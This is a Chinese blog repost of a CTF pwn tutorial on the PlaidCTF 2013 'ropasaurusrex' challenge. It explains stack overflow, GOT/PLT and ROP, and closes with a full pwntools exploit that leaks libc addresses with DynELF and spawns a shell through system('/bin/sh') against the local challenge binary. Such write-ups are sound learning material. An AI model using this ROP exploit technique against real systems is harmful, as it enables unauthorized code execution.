Linux下pwn从入门到放弃,[原创][分享]Pwn从入门到放弃(三)

0x01 栈溢出利用

0x02 基本的ROP利用

0x03 题目三:

该题目是plaidctf-2013的一道题,ropasaurusrex

第一步:

checksec看一下该程序开了哪些保护:

9bfe9657152d1da31c5b9fabedb3de44.png

程序为32位小端,保护只开启了NX保护,意味着堆栈不可执行。

第二步:

运行该程序看看:

08bd99996da91b49330eced8211cae35.png

待你输入内容后,会给一些的反馈

*第三步:

gdb动态调试一下看看:

4c6a5756306aa0f583393c96648aecd0.png

可以看到,崩溃在140处,因此可以知道返回地址在144字节处。

第四步:

同样,将程序丢到IDA中看一下:

a7951e7fff983a2ef4b1f40840a5b066.png

发现程序逻辑相对还是比较简单的,在main中,发现sub_80483F4函数中存在可利用的溢出漏洞,另外发现该程序中并没有可利用的system和'/bin/sh',但却存在read和write函数。

64a51a6278f2d78f610b111789bc2587.png

第五步:

溢出思路:

由于程序没有提供libc.so文件,故需要将返回地址覆盖为write@plt,利用write@plt将read@got内容打印出来从而获得libc、system等函数的地址

计算system和'/bin/sh'地址

然后通过gadget指令重新跳转至sub_80483F4再次溢出,将返回地址覆盖

为system,将'/bin/sh'地址部署在相应的参数位置即可

知识点:

GOT(Global Offset Table,全局偏移表)是Linux ELF文件中用于定位全局变量和函数的一个表。

PLT(Procedure Linkage Table,过程链接表)是Linux ELF文件中用于延迟绑定的表,即函数第一次被调用的时候才进行绑定。

延迟绑定,就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,特别有利于一些引用了大量函数的程序。

栈布局:

284369611c180ef1bd64f97bf6381c5f.png

第六步:

我们可以利用DynELF来轻松获得程序某函数的实际运行地址。

**知识点2:DynELF,是pwntools中有一个很方便的类,可以通过使用该类利用泄露函数,从而获取程序的system、read等函数地址。

第七步:

最终的EXP代码:

#-*- coding: utf-8 -*-

from pwn import *

p = process('./ropasaurusrex')

elf = ELF('./ropasaurusrex')

write_plt_addr = elf.symbols['write']

start_addr = 0x08048340

bin_sh_addr = 0x08049628 #空白的可写.bss地址

#利用write@plt获取read@got地址

def leak(addr):

payload = "A" * 140

payload += p32(write_plt_addr)

payload += p32(start_addr) #为了使程序不至于崩溃,因此将返回地址设置为程序的start地址

payload += p32(1) #write参数1,int fd(文件描述符)

payload += p32(addr) #write参数2,buf(指定的缓冲区,即指向read的指针)

payload += p32(4) #write参数3,要写入的字节数

p.sendline(payload)

content = p.recv(4)

# print("%#x => %s" % (addr, (content or '').encode('hex')))

return content

d = DynELF(leak, elf = elf )

system_addr = d.lookup('system','libc')

read_addr = d.lookup('read','libc')

print ("system_address: %#x" % system_addr)

print ("read_address: %#x" % read_addr)

base_addr = read_addr - elf.symbols['read']

print ("base_address: %#x" % base_addr)

payload = "A" *140

payload += p32(read_addr)

payload += p32(system_addr)

payload += p32(0)

payload += p32(bin_sh_addr)

payload += p32(8)

p.sendline(payload)

p.sendline('/bin/sh\x00')

p.interactive()

b687cfe9b305c42efa561e24284e8c6e.png

参考:

https://bbs.ichunqiu.com/thread-42933-1-1.html?from=aqzx1

https://www.jianshu.com/p/590bc1d6c292

http://www.baymrx.me/2019/08/19/PWN%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95%E2%80%94%E2%80%942013-PlaidCTF-ropasaurusrex/

https://www.jianshu.com/p/6626a866ad66

最后于 2020-1-2 17:21

被bugchong编辑

,原因: 栈布局图修正

上传的附件:

ropasaurusrex

(2.88kb,9次下载)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值